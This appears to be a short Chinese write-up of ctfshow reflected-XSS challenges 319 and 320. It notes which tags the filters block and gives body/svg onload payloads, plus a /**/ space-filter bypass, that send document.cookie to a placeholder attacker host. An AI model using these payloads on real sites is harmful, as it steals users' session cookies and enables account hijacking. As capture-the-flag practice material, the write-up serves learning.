ctfshow(319-＞326)--XSS漏洞--反射型XSS

2025/2/24 19:34:35 来源：https://blog.csdn.net/m0_56019217/article/details/143636212 浏览: 次关键词：ctfshow(319-＞326)--XSS漏洞--反射型XSS

Web319

在这里插入图片描述

思路

先测试过滤，发现过滤了script、img，没有过滤body，svg
payload:

<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/><svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

得到flag.

Web320

先测试过滤，发现过滤了script、img，没有过滤body，svg
输入payload:

<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/><svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

发现payload被过滤。
测试之后发现是空格被过滤
空格使用 /**/ 或者 / 绕过。

<body/**/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/><body/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>

得到flag.